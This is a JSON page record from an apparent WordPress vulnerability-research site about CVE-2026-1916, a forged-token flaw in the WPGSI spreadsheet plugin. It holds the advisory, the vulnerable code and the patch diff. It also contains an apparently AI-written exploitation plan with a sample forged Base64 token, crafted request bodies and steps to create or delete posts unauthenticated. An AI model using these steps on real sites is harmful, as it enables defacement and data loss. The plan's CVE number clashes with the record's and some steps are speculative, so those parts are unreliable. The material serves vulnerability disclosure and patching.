[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDoeCVpZ7f0bzgBmdl9Ue3VXkNMnDwqvzlQ_hKQssUa8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1916","wpgsi-spreadsheet-integration-missing-authorization-to-unauthenticated-arbitrary-post-creation-and-deletion-via-forged-b","WPGSI: Spreadsheet Integration \u003C= 3.8.3 - Missing Authorization to Unauthenticated Arbitrary Post Creation and Deletion via Forged Base64 Token","The WPGSI: Spreadsheet Integration plugin for WordPress is vulnerable to unauthorized modification and loss of data due to missing capability checks and an insecure authentication mechanism on the `wpgsi_callBackFuncAccept` and `wpgsi_callBackFuncUpdate` REST API functions in all versions up to, and including, 3.8.3. Both REST endpoints use `permission_callback => '__return_true'`, allowing unauthenticated access. The plugin's custom token-based validation relies on a Base64-encoded JSON object containing the user ID and email address, but is not cryptographically signed. This makes it possible for unauthenticated attackers to forge tokens using publicly enumerable information (admin user ID and email) to create, modify, and delete arbitrary WordPress posts and pages, granted they know the administrator's email address and an active integration ID with remote updates enabled.","wpgsi",null,"\u003C=3.8.3","3.8.4","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","Missing Authorization","2026-02-24 19:34:56","2026-02-25 08:25:32",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7598b38b-26b1-4640-9bd7-60613a5f704d?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fclass-wpgsi-admin.php","admin\u002Fclass-wpgsi-settings.php","admin\u002Fclass-wpgsi-update.php","admin\u002Fpartials\u002Fwpgsi-edit-integration-display.php","admin\u002Fpartials\u002Fwpgsi-new-integration-display.php","admin\u002Fpartials\u002Fwpgsi-remoteUpdate.php","includes\u002Fclass-wpgsi-list-table.php","researched",false,3,"# Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration)\n\n## 1. Vulnerability Summary\nThe **WPGSI: Spreadsheet Integration** plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin registers two REST API endpoints (`\u002Fwpgsi\u002Faccept` and `\u002Fwpgsi\u002Fupdate`) intended for remote updates from Google Sheets. These endpoints lack proper `permission_callback` checks (using `__return_true`) and rely on a \"token\" that is merely a Base64-encoded JSON object containing user information. Because this token is not cryptographically signed, an unauthenticated attacker can forge a token using publicly enumerable information (Admin ID and Email) to impersonate an administrator and manipulate WordPress posts.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** \n    *   `POST \u002Fwp-json\u002Fwpgsi\u002Faccept` (Used to transmit the spreadsheet data)\n    *   `GET \u002Fwp-json\u002Fwpgsi\u002Fupdate` (Used to trigger the processing of the transmitted data)\n*   **Vulnerability Type:** Missing Authorization \u002F Insecure Authentication (Forged Token).\n*   **Authentication:** Unauthenticated. The `permission_callback` for both routes is set to `__return_true` in `admin\u002Fclass-wpgsi-update.php`.\n*   **Parameters:** \n    *   `token` (Base64-encoded JSON: `{\"ID\": \u003Cintegration_id>, \"UID\": \u003Cadmin_id>, \"email\": \"\u003Cadmin_email>\"}`)\n    *   `sheetData` (2D Array: Rows and columns of data to be synced)\n*   **Preconditions:**\n    1.  Attacker must know or guess a valid `integration ID` (these are IDs of the `wpgsiIntegration` custom post type, which are standard WordPress post IDs).\n    2.  Attacker must know the administrator's email address (enumerable via `\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers`).\n    3.  The integration must have \"Remote update from Google sheet\" enabled.\n\n## 3. Code Flow\n1.  **Route Registration:** In `admin\u002Fclass-wpgsi-update.php`, the `wpgsi_register_rest_route()` function registers the endpoints.\n    ```php\n    register_rest_route( 'wpgsi', '\u002Faccept', array(\n        'methods'             => 'POST',\n        'callback'            => array($this, 'wpgsi_callBackFuncAccept'),\n        'permission_callback' => '__return_true', \u002F\u002F Vulnerability: No check\n    ) );\n    ```\n2.  **Token Processing:** The `wpgsi_callBackFuncAccept($data)` function receives the request.\n    *   It extracts `token`: `$jsonString = @base64_decode( $data['token'] );`\n    *   It decodes JSON: `$updateInfo = json_decode( $jsonString, TRUE );`\n    *   It validates that `UID` and `email` correspond to a real user:\n        ```php\n        $userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) );\n        \u002F\u002F The check only confirms the user exists and the ID matches the forged UID.\n        ```\n3.  **Data Persistence:** The function saves the `sheetData` provided in the request into a WordPress option or transient, keyed to the integration ID.\n4.  **Processing Trigger:** The attacker then calls `GET \u002Fwp-json\u002Fwpgsi\u002Fupdate`. This function reads the previously saved data and performs the actual WordPress operations (creating, updating, or deleting posts) based on the mapping configuration defined in the `wpgsiIntegration` post.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a WordPress nonce**. The REST API routes are explicitly registered with `permission_callback => '__return_true'`, effectively bypassing WordPress's internal REST nonce requirement for authenticated actions. The custom \"token\" used by the plugin is the only security mechanism, and it is forged in the exploitation phase.\n\n## 5. Exploitation Strategy\n\n### Step 1: Enumerate Administrative Information\nFind the admin user ID and email.\n*   **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers`\n*   **Target Info:** Look for `id` (usually `1`) and `email` (if exposed) or guess based on standard `admin@domain.com`.\n\n### Step 2: Identify a Valid Integration ID\nIntegrations are stored as `wpgsiIntegration` posts.\n*   **Method:** Brute-force\u002Fenumerate post IDs (e.g., 1-100) or check the plugin's log if exposed (`\u002Fwp-admin\u002Fadmin.php?page=wpgsi-settings&action=log` - though this requires admin access, unauthenticated enumeration of IDs via the `accept` endpoint's responses is possible).\n*   **Verification:** A valid ID sent to `\u002Fwp-json\u002Fwpgsi\u002Faccept` with a forged token will return a `200` or a specific error message rather than a `400` integration ID error.\n\n### Step 3: Forge the Token\nConstruct a JSON object and Base64 encode it.\n```json\n{\n  \"ID\": 123,\n  \"UID\": 1,\n  \"email\": \"admin@example.com\"\n}\n```\n**Encoded:** `eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9`\n\n### Step 4: Submit Malicious Sheet Data\nThe payload must match the integration's column mapping. If the integration maps Column 0 to Post Title and Column 1 to Post Content:\n*   **Request:** `POST \u002Fwp-json\u002Fwpgsi\u002Faccept`\n*   **Headers:** `Content-Type: application\u002Fjson`\n*   **Body:**\n    ```json\n    {\n      \"token\": \"eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9\",\n      \"sheetData\": [\n        [\"Column_Title_Row\"],\n        [\"Vulnerable Post Title\", \"This content was created via CVE-2024-1916\"]\n      ]\n    }\n    ```\n\n### Step 5: Trigger the Update\n*   **Request:** `GET \u002Fwp-json\u002Fwpgsi\u002Fupdate`\n*   **Response:** Expected `202` (Accepted\u002FProcessing) or `200`.\n\n## 6. Test Data Setup\n1.  **Plugin Setup:** Install WPGSI \u003C= 3.8.3.\n2.  **Create Integration:** \n    *   Create a \"New Integration\" in the WPGSI dashboard.\n    *   Set \"Data Source\" to \"WordPress New Post\".\n    *   Enable \"Remote update from Google sheet\".\n    *   Map at least two columns: Column A -> `post_title`, Column B -> `post_content`.\n    *   Save and note the Post ID of the integration (e.g., in the URL `id=123`).\n3.  **Administrator:** Ensure user ID 1 has the email `admin@example.com`.\n\n## 7. Expected Results\n*   **Successful Accept:** The `accept` endpoint returns a JSON response with `\"code\": \"200\"` and a success message.\n*   **Successful Update:** The `update` endpoint returns `\"code\": 202` or `201`.\n*   **Final Result:** A new WordPress post is created with the title \"Vulnerable Post Title\".\n\n## 8. Verification Steps\n1.  **Check Posts:** `wp post list --post_type=post`\n2.  **Verify Content:** `wp post get \u003Cnew_post_id>`\n3.  **Check Plugin Logs:** WPGSI keeps internal logs. Check `wp post list --post_type=wpgsi_log` to see the remote update trace.\n\n## 9. Alternative Approaches\n*   **Post Deletion:** If the integration is configured for \"Sync\" or \"Delete\", include a row in `sheetData` that matches an existing post ID and provides an \"action\" or \"delete\" flag if the integration supports it.\n*   **Information Leakage:** Attempt to guess Integration IDs by observing the difference between `\"integration ID is empty\"` (302) and `\"user id is not correct\"` (303) errors in the `wpgsi_callBackFuncAccept` function.\n*   **SSRF\u002FRCE via Post Content:** If the plugin allows updating meta fields or options, use the forged token to update `siteurl` or `active_plugins` (if mapped), though typically this is limited to Post\u002FPage\u002FWooCommerce fields.","The WPGSI plugin for WordPress is vulnerable to unauthorized data modification and loss due to missing authorization checks and an insecure token-based authentication mechanism in its REST API. An unauthenticated attacker can forge a Base64-encoded token containing a target administrator's ID and email to impersonate them, allowing the attacker to create, update, or delete arbitrary posts via the plugin's spreadsheet integration functionality.","\u002F\u002F admin\u002Fclass-wpgsi-update.php line 96\npublic function wpgsi_register_rest_route() {\n    # For receiving data and saving that to option table\n    register_rest_route( 'wpgsi', '\u002Faccept', array(\n        'methods'             => 'POST',        'callback'            => array($this, 'wpgsi_callBackFuncAccept'),\n        'permission_callback' => '__return_true',\n    ) );\n    # For updating data site data\n    register_rest_route( 'wpgsi', '\u002Fupdate', array(\n        'methods'             => 'GET',        'callback'            => array($this, 'wpgsi_callBackFuncUpdate'),\n        'permission_callback' => '__return_true',\n    ) );\n}\n\n---\n\n\u002F\u002F admin\u002Fclass-wpgsi-update.php line 137\n# converting data from base64 string\n$jsonString = @base64_decode( $data['token'] );\n# encoding JSON string to PHP array\n$updateInfo = json_decode( $jsonString, TRUE );\n# User information validation;  $updateInfo array and isset( ) check for ID, UID, email\nif ( !is_array( $updateInfo ) or !isset( $updateInfo['ID'], $updateInfo['UID'], $updateInfo['email'] ) ) {\n    \u002F\u002F ... error handling\n}\n# integration Id\nif ( empty( $updateInfo['ID'] ) or !is_numeric( $updateInfo['ID'] ) ) {\n    \u002F\u002F ... error handling\n}\n# Getting the ID\n$integrationID = wp_kses_post( $updateInfo['ID'] );\n# getting user data\n$userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) );\n# User ID check see user\nif ( !is_array( $userData ) and $updateInfo['UID'] != $userData->data->ID ) {\n    \u002F\u002F ... (vulnerable check: only validates user existence and ID match, no signature check)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.3\u002Fadmin\u002Fclass-wpgsi-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.4\u002Fadmin\u002Fclass-wpgsi-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.3\u002Fadmin\u002Fclass-wpgsi-admin.php\t2025-04-13 12:06:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.4\u002Fadmin\u002Fclass-wpgsi-admin.php\t2026-02-14 11:59:28.000000000 +0000\n@@ -1059,7 +1062,10 @@\n             # User Email\n             $userBase64TokenArr['email'] = $current_user->data->user_email;\n             # Creating token;\n-            $userToken = base64_encode( json_encode( $userBase64TokenArr ) );\n+            # Fix: Base64 encode the payload to prevent dots in JSON interfering with structural dot separator\n+            $payload = base64_encode( json_encode( $userBase64TokenArr ) );\n+            $signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );\n+            $userToken = base64_encode( $payload . '.' . $signature );\n             # Check and Balance.\n             if ( !empty( $userToken ) ) {\n                 $sheetData = @json_decode( $Integrations->post_excerpt, TRUE );\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.3\u002Fadmin\u002Fclass-wpgsi-update.php\t2025-04-13 12:06:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpgsi\u002F3.8.4\u002Fadmin\u002Fclass-wpgsi-update.php\t2026-02-14 11:59:28.000000000 +0000\n@@ -96,17 +96,86 @@\n         register_rest_route( 'wpgsi', '\u002Faccept', array(\n             'methods'             => 'POST',\n             'callback'            => array($this, 'wpgsi_callBackFuncAccept'),\n-            'permission_callback' => '__return_true',\n+            'permission_callback' => array($this, 'wpgsi_permission_check'),\n+            'args'                => array(\n+                'token' => array(\n+                    'required' => true,\n+                    'type'     => 'string',\n+                ),\n+            ),\n         ) );\n         # For updating data site data\n         register_rest_route( 'wpgsi', '\u002Fupdate', array(\n             'methods'             => 'GET',\n             'callback'            => array($this, 'wpgsi_callBackFuncUpdate'),\n-            'permission_callback' => '__return_true',\n+            'permission_callback' => array($this, 'wpgsi_permission_check'),\n+            'args'                => array(\n+                'token' => array(\n+                    'required' => true,\n+                    'type'     => 'string',\n+                ),\n+            ),\n         ) );\n     }\n \n     \u002F**\n+     * Permission callback for REST routes\n+     *\u002F\n+    public function wpgsi_permission_check( $request ) {\n+        $token = $request->get_param( 'token' );\n+        \u002F\u002F ... header\u002Fparam logic\n+        $decoded = base64_decode( $token );\n+        if ( false === $decoded || strpos( $decoded, '.' ) === false ) {\n+             return new WP_Error('rest_forbidden', 'Invalid token format', array('status' => 401));\n+        }\n+        list( $payload, $signature ) = explode( '.', $decoded, 2 );\n+        $expected_signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );\n+        if ( hash_equals( $expected_signature, $signature ) ) {\n+            return true;\n+        }\n+        return new WP_Error('rest_forbidden', 'Signature Mismatch.', array('status' => 401));\n+    }","1. Enumerate the target WordPress site's administrator user ID and email via the public REST API endpoint (\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers).\n2. Identify a valid Integration ID by enumerating numeric IDs for the 'wpgsiIntegration' custom post type (or observing error responses from the \u002Fwpgsi\u002Faccept endpoint).\n3. Construct a malicious JSON payload: {\"ID\": [integration_id], \"UID\": [admin_id], \"email\": \"[admin_email]\"}.\n4. Base64-encode this JSON string to create a forged token.\n5. Send a POST request to \u002Fwp-json\u002Fwpgsi\u002Faccept with the forged token and a 'sheetData' array containing rows of malicious content (e.g., a new post title and content mapped to columns).\n6. Send a GET request to \u002Fwp-json\u002Fwpgsi\u002Fupdate using the same forged token to trigger the plugin to process the previously submitted data, resulting in the creation or modification of WordPress posts.","gemini-3-flash-preview","2026-04-19 00:57:41","2026-04-19 00:58:04",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.8.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpgsi\u002Ftags\u002F3.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpgsi.3.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpgsi\u002Ftags\u002F3.8.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpgsi.3.8.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpgsi\u002Ftags"]